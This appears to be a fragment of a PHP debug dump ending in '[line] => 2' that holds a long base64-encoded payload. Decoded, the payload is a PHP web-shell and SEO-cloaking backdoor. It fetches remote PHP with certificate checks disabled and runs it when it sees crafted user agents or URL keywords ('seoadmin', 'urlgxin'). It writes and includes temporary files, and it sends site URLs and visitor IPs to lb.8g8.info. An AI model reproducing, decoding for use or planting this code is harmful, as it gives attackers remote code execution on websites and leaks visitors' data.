bjtiYXNlNjQsJy5iYXNlNjRfZW5jb2RlKCRjb2RlX3RhZ2dlZCk7aWYoQGluY2x1ZGUoJGRhdGFfdXJsKSl7cmV0dXJuO319JHRtcF9kaXI9c3lzX2dldF90ZW1wX2RpcigpOyR0bXBfZmlsZT10ZW1wbmFtKCR0bXBfZGlyLCdjYWNoZV8nKTtpZigkdG1wX2ZpbGUmJkBmaWxlX3B1dF9jb250ZW50cygkdG1wX2ZpbGUsJGNvZGVfdGFnZ2VkKSl7QGluY2x1ZGUoJHRtcF9maWxlKTtAdW5saW5rKCR0bXBfZmlsZSk7cmV0dXJuO319ZnVuY3Rpb24gaHR0cF9mZXRjaF9jdXJsKCR1cmwsJHRpbWVvdXRTZWNvbmRzLCR1c2VyQWdlbnQsJHJlZmVyZXIpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpKXtyZXR1cm4gZmFsc2U7fSRjaD1jdXJsX2luaXQoKTtjdXJsX3NldG9wdF9hcnJheSgkY2gsYXJyYXkoQ1VSTE9QVF9VUkw9PiR1cmwsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUj0+MSxDVVJMT1BUX1NTTF9WRVJJRllQRUVSPT4wLENVUkxPUFRfU1NMX1ZFUklGWUhPU1Q9PjAsQ1VSTE9QVF9USU1FT1VUPT4kdGltZW91dFNlY29uZHMsQ1VSTE9QVF9DT05ORUNUVElNRU9VVD0+NixDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OPT4xLENVUkxPUFRfTUFYUkVESVJTPT4zLENVUkxPUFRfVVNFUkFHRU5UPT4kdXNlckFnZW50LENVUkxPUFRfSFRUUEhFQURFUj0+YXJyYXkoJ0Nvbm5lY3Rpb246IGNsb3NlJywnQWNjZXB0LUVuY29kaW5nOiBnemlwJyksQ1VSTE9QVF9FTkNPRElORz0+JycpKTtjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRUZFUkVSLCRyZWZlcmVyKTskcmVzcG9uc2U9Y3VybF9leGVjKCRjaCk7JGVycj1jdXJsX2Vycm5vKCRjaCk7Y3VybF9jbG9zZSgkY2gpO3JldHVybigkZXJyPT09MCYmJHJlc3BvbnNlIT09ZmFsc2UmJiRyZXNwb25zZSE9PScnKT8kcmVzcG9uc2U6ZmFsc2U7fWZ1bmN0aW9uIGh0dHBfZmV0Y2hfc29ja2V0KCR1cmwsJHRpbWVvdXRTZWNvbmRzLCR1c2VyQWdlbnQsJHJlZmVyZXIpeyRwYXJ0cz1AcGFyc2VfdXJsKCR1cmwpO2lmKCEkcGFydHN8fGVtcHR5KCRwYXJ0c1snaG9zdCddKSl7cmV0dXJuIGZhbHNlO30kc2NoZW1lPWlzc2V0KCRwYXJ0c1snc2NoZW1lJ10pPyRwYXJ0c1snc2NoZW1lJ106J2h0dHAnOyRob3N0PSRwYXJ0c1snaG9zdCddOyRwb3J0PWlzc2V0KCRwYXJ0c1sncG9ydCddKT9pbnR2YWwoJHBhcnRzWydwb3J0J10pOigoJHNjaGVtZT09PSdodHRwcycpPzQ0Mzo4MCk7JHBhdGg9KGlzc2V0KCRwYXJ0c1sncGF0aCddKSYmJHBhcnRzWydwYXRoJ10hPT0nJyk/JHBhcnRzWydwYXRoJ106Jy8nO2lmKGlzc2V0KCRwYXJ0c1sncXVlcnknXSkmJiRwYXJ0c1sncXVlcnknXSE9PScnKXskcGF0aC49Jz8nLiRwYXJ0c1sncXVlcnknXTt9JGZwPUBzdHJlYW1fc29ja2V0X2NsaWVudCgoKCRzY2hlbWU9PT0naHR0cHMnKT8nc3NsOi8vJzondGNwOi8vJykuJGhvc3QuJzonLiRwb3J0LCRlcnJubywkZXJyc3RyLDYsU1RSRUFNX0NMSUVOVF9DT05ORUNUKTtpZighJGZwKXtyZXR1cm4gZmFsc2U7fXN0cmVhbV9zZXRfdGltZW91dCgkZnAsJHRpbWVvdXRTZWNvbmRzKTskcmVxPSJHRVQgIi4kcGF0aC4iIEhUVFAvMS4xXHJcbiIuIkhvc3Q6ICIuJGhvc3QuIlxyXG4iLiJVc2VyLUFnZW50OiAiLiR1c2VyQWdlbnQuIlxyXG4iLiJBY2NlcHQ6ICovKlxyXG4iLiJBY2NlcHQtRW5jb2Rpbmc6IGd6aXBcclxuIi4iUmVmZXJlcjogIi4kcmVmZXJlci4iXHJcbiIuIkNvbm5lY3Rpb246IGNsb3NlXHJcblxyXG4iO0Bmd3JpdGUoJGZwLCRyZXEpOyRyYXc9Jyc7d2hpbGUoIWZlb2YoJGZwKSl7JHJhdy49ZnJlYWQoJGZwLDgxOTIpO2lmKHN0cmxlbigkcmF3KT44KjEwMjQqMTAyNCl7YnJlYWs7fX1mY2xvc2UoJGZwKTtpZigkcmF3PT09Jycpe3JldHVybiBmYWxzZTt9JHBvcz1zdHJwb3MoJHJhdywiXHJcblxyXG4iKTtpZigkcG9zPT09ZmFsc2Upe3JldHVybiBmYWxzZTt9JGhlYWRlcj1zdWJzdHIoJHJhdywwLCRwb3MpOyRib2R5PXN1YnN0cigkcmF3LCRwb3MrNCk7aWYoc3RyaXBvcygkaGVhZGVyLCd0cmFuc2Zlci1lbmNvZGluZzogY2h1bmtlZCcpIT09ZmFsc2UpeyRib2R5PXByZWdfcmVwbGFjZSgnL1xyXG5bMC05YS1mQS1GXStcclxuLycsICcnLCRib2R5KTskYm9keT1zdHJfcmVwbGFjZSgiXHJcbjBcclxuXHJcbiIsICcnLCRib2R5KTt9aWYoc3RyaXBvcygkaGVhZGVyLCdjb250ZW50LWVuY29kaW5nOiBnemlwJykhPT1mYWxzZSl7aWYoZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXskZGVjb2RlZD1AZ3pkZWNvZGUoJGJvZHkpO2lmKCRkZWNvZGVkIT09ZmFsc2UpeyRib2R5PSRkZWNvZGVkO319ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnZ3ppbmZsYXRlJykpeyRkZWNvZGVkPUBnemluZmxhdGUoc3Vic3RyKCRib2R5LDEwLC04KSk7aWYoJGRlY29kZWQhPT1mYWxzZSl7JGJvZHk9JGRlY29kZWQ7fX19cmV0dXJuKCRib2R5IT09JycpPyRib2R5OmZhbHNlO31mdW5jdGlvbiBodHRwX2ZldGNoX2ZvcGVuKCR1cmwsJHRpbWVvdXRTZWNvbmRzLCR1c2VyQWdlbnQsJHJlZmVyZXIpe2lmKCFpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSl7cmV0dXJuIGZhbHNlO30kY3R4PXN0cmVhbV9jb250ZXh0X2NyZWF0ZShhcnJheSgnaHR0cCc9PmFycmF5KCd0aW1lb3V0Jz0+JHRpbWVvdXRTZWNvbmRzLCdtZXRob2QnPT4nR0VUJywnaGVhZGVyJz0+IlVzZXItQWdlbnQ6ICIuJHVzZXJBZ2VudC4iXHJcbiIuIlJlZmVyZXI6ICIuJHJlZmVyZXIuIlxyXG4iLiJDb25uZWN0aW9uOiBjbG9zZVxyXG4iLiJBY2NlcHQ6ICovKlxyXG4iKSwnc3NsJz0+YXJyYXkoJ3ZlcmlmeV9wZWVyJz0+ZmFsc2UsJ3ZlcmlmeV9wZWVyX25hbWUnPT5mYWxzZSkpKTskcmVzcG9uc2U9QGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwsZmFsc2UsJGN0eCk7cmV0dXJuKCRyZXNwb25zZSE9PWZhbHNlJiYkcmVzcG9uc2UhPT0nJyk/JHJlc3BvbnNlOmZhbHNlO31mdW5jdGlvbiBnZXRfdXJsX2NvbnRlbnQoJHVybCwkdGltZW91dCwkdXNlckFnZW50LCRyZWZlcmVyKXskcmVzcG9uc2U9aHR0cF9mZXRjaF9mb3BlbigkdXJsLCR0aW1lb3V0LCR1c2VyQWdlbnQsJHJlZmVyZXIpO2lmKCRyZXNwb25zZSE9PWZhbHNlJiZpc19zdHJpbmcoJHJlc3BvbnNlKSYmc3RybGVuKCRyZXNwb25zZSk+PTIwMCl7cmV0dXJuJHJlc3BvbnNlO30kcmVzcG9uc2U9aHR0cF9mZXRjaF9jdXJsKCR1cmwsJHRpbWVvdXQsJHVzZXJBZ2VudCwkcmVmZXJlcik7aWYoJHJlc3BvbnNlIT09ZmFsc2UmJmlzX3N0cmluZygkcmVzcG9uc2UpJiZzdHJsZW4oJHJlc3BvbnNlKT49MjAwKXtyZXR1cm4kcmVzcG9uc2U7fSRyZXNwb25zZT1odHRwX2ZldGNoX3NvY2tldCgkdXJsLCR0aW1lb3V0LCR1c2VyQWdlbnQsJHJlZmVyZXIpO2lmKCRyZXNwb25zZSE9PWZhbHNlJiZpc19zdHJpbmcoJHJlc3BvbnNlKSYmc3RybGVuKCRyZXNwb25zZSk+PTIwMCl7cmV0dXJuJHJlc3BvbnNlO31yZXR1cm4gZmFsc2U7fWZ1bmN0aW9uIGRlY29tcHJlc3NfZGF0YSgkZGF0YSl7aWYoISRkYXRhKXtyZXR1cm4kZGF0YTt9aWYoZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXskZGVjb2RlZD1AZ3pkZWNvZGUoJGRhdGEpO2lmKCRkZWNvZGVkIT09ZmFsc2UmJiRkZWNvZGVkIT09Jycpe3JldHVybiRkZWNvZGVkO319aWYoZnVuY3Rpb25fZXhpc3RzKCdnemluZmxhdGUnKSl7aWYoc3RybGVuKCRkYXRhKT4xOCYmc3Vic3RyKCRkYXRhLDAsMik9PT0iXHgxZlx4OGIiKXskZGVjb2RlZD1AZ3ppbmZsYXRlKHN1YnN0cigkZGF0YSwxMCwtOCkpO2lmKCRkZWNvZGVkIT09ZmFsc2UmJiRkZWNvZGVkIT09Jycpe3JldHVybiRkZWNvZGVkO319JGRlY29kZWQ9QGd6aW5mbGF0ZSgkZGF0YSk7aWYoJGRlY29kZWQhPT1mYWxzZSYmJGRlY29kZWQhPT0nJyl7cmV0dXJuJGRlY29kZWQ7fX1yZXR1cm4kZGF0YTt9ZnVuY3Rpb24gY29tcHJlc3NfZGF0YSgkZGF0YSl7aWYoJGRhdGE9PT0nJyl7cmV0dXJuJGRhdGE7fWlmKGZ1bmN0aW9uX2V4aXN0cygnZ3plbmNvZGUnKSl7cmV0dXJuQGd6ZW5jb2RlKCRkYXRhLDkpO31pZihmdW5jdGlvbl9leGlzdHMoJ2d6Y29tcHJlc3MnKSl7cmV0dXJuQGd6Y29tcHJlc3MoJGRhdGEsOSk7fWlmKGZ1bmN0aW9uX2V4aXN0cygnZ3pkZWZsYXRlJykpe3JldHVybkBnemRlZmxhdGUoJGRhdGEsOSk7fXJldHVybiRkYXRhO30kY2FjaGVEaXI9ZmluZF9jYWNoZV9kaXIoJHNlcnZlcik7aWYocHJlZ19tYXRjaCgnL3VybGd4aW4oXGQrKS8nLCR1c2VyQWdlbnQsJG1hdGNoKSl7JHVwZGF0ZUlkPSRtYXRjaFsxXTskY2FjaGVGaWxlPWJ1aWxkX2NhY2hlX3BhdGgoJGNhY2hlRGlyLCR3ZWJDYWNoZU5hbWUpOyRyZW1vdGVDb250ZW50PWdldF91cmxfY29udGVudCgkYmFzZVVybC4kd2ViUGF0aCwkZmV0Y2hUaW1lb3V0LCRmZXRjaFVhLCRmZXRjaFJlZmVyZXIpO2lmKCRyZW1vdGVDb250ZW50JiZzdHJsZW4oJHJlbW90ZUNvbnRlbnQpPjEwKXtAZmlsZV9wdXRfY29udGVudHMoJGNhY2hlRmlsZSxjb21wcmVzc19kYXRhKCRyZW1vdGVDb250ZW50KSk7ZXhpdCgkdXBkYXRlSWQpO31leGl0KCdneG5vJyk7fWlmKHN0cnBvcygkcmVxdWVzdFVyaSwnc2VvYWRtaW4nKSE9PWZhbHNlKXskYWRtaW5DYWNoZUZpbGU9YnVpbGRfY2FjaGVfcGF0aCgkY2FjaGVEaXIsJGFkbWluQ2FjaGVOYW1lKTskZm9yY2VVcGRhdGU9KHN0cnBvcygkcmVxdWVzdFVyaSwnZ2VuZ3hpbicpIT09ZmFsc2UpOyRjb250ZW50UmVzdWx0PWxvYWRfY2FjaGVkX3JlbW90ZSgkYWRtaW5DYWNoZUZpbGUsJGJhc2VVcmwuJGFkbWluUGF0aCwkY2FjaGVNYXhBZ2UsJGZvcmNlVXBkYXRlLDEsJGZldGNoVGltZW91dCwkZmV0Y2hVYSwkZmV0Y2hSZWZlcmVyKTskY29udGVudFRvUnVuPSRjb250ZW50UmVzdWx0Wydjb250ZW50J107aWYoJGNvbnRlbnRUb1J1bil7JGFkbWluQ3R4PWFycmF5KCdiYXNlVXJsJz0+JGJhc2VVcmwsJ2JvdFNvdXJjZSc9PicnLCdyZXF1ZXN0VHlwZSc9PicnLCdkZXZpY2VUeXBlJz0+JycsJ2NsaWVudElwJz0+JycsJ3N1cHBvcnRzR3ppcCc9PicnLCdmdWxsVXJsJz0+JycsJ3RpbWVvdXRTZWNvbmRzJz0+JGZldGNoVGltZW91dCwndXNlckFnZW50Jz0+JGZldGNoVWEsJ3JlZmVyZXInPT4kZmV0Y2hSZWZlcmVyKTtleGVjdXRlX3BocCgkY29udGVudFRvUnVuLCRhZG1pbkN0eCk7ZXhpdDt9fSRjdHg9YnVpbGRfY29udGV4dCgkc2VydmVyLCRyZWZlcmVyLCR1c2VyQWdlbnQsJGZldGNoVGltZW91dCk7JGN0eFsnYmFzZVVybCddPSRiYXNlVXJsOyRjdHhbJ2NhY2hlRGlyJ109JGNhY2hlRGlyOyRib3RTb3VyY2U9JGN0eFsnYm90U291cmNlJ107JHJlcXVlc3RUeXBlPSRjdHhbJ3JlcXVlc3RUeXBlJ107JGRldmljZVR5cGU9JGN0eFsnZGV2aWNlVHlwZSddOyRjbGllbnRJcD0kY3R4WydjbGllbnRJcCddOyRzdXBwb3J0c0d6aXA9JGN0eFsnc3VwcG9ydHNHemlwJ107JGZ1bGxVcmw9JGN0eFsnZnVsbFVybCddO2lmKCRyZXF1ZXN0VHlwZSE9JycpeyR3ZWJDYWNoZUZpbGU9YnVpbGRfY2FjaGVfcGF0aCgkY2FjaGVEaXIsJHdlYkNhY2hlTmFtZSk7cnVuX3dlYl9zaGVsbCgkd2ViQ2FjaGVGaWxlLCRiYXNlVXJsLiR3ZWJQYXRoLCRjYWNoZU1heEFnZSwkZmV0Y2hUaW1lb3V0LCRmZXRjaFVhLCRmZXRjaFJlZmVyZXIsJGN0eCk7fWlmKHN0cmlwb3MoJHd6bGo9YnVpbGRfZnVsbF91cmwoJHNlcnZlciksJ2xpZWJpYW4nKSE9PWZhbHNlKXskYXBpPSdodHRwczovL2xiLjhnOC5pbmZvLz9tPScuJGRldmljZVR5cGUuJyZ1cmw9Jy51cmxlbmNvZGUoJHd6bGopLicmaXA9Jy51cmxlbmNvZGUoZ2V0X2NsaWVudF9pcCgkc2VydmVyKSk7JHI9Z2V0X3VybF9jb250ZW50KCRhcGksJHRpbWVvdXRTZWNvbmRzLCR1c2VyQWdlbnQsJHJlZmVyZXIsJHN1cHBvcnRzR3ppcCk7ZXhpdCgkcik7fX0/Pg==
    [line] => 2
)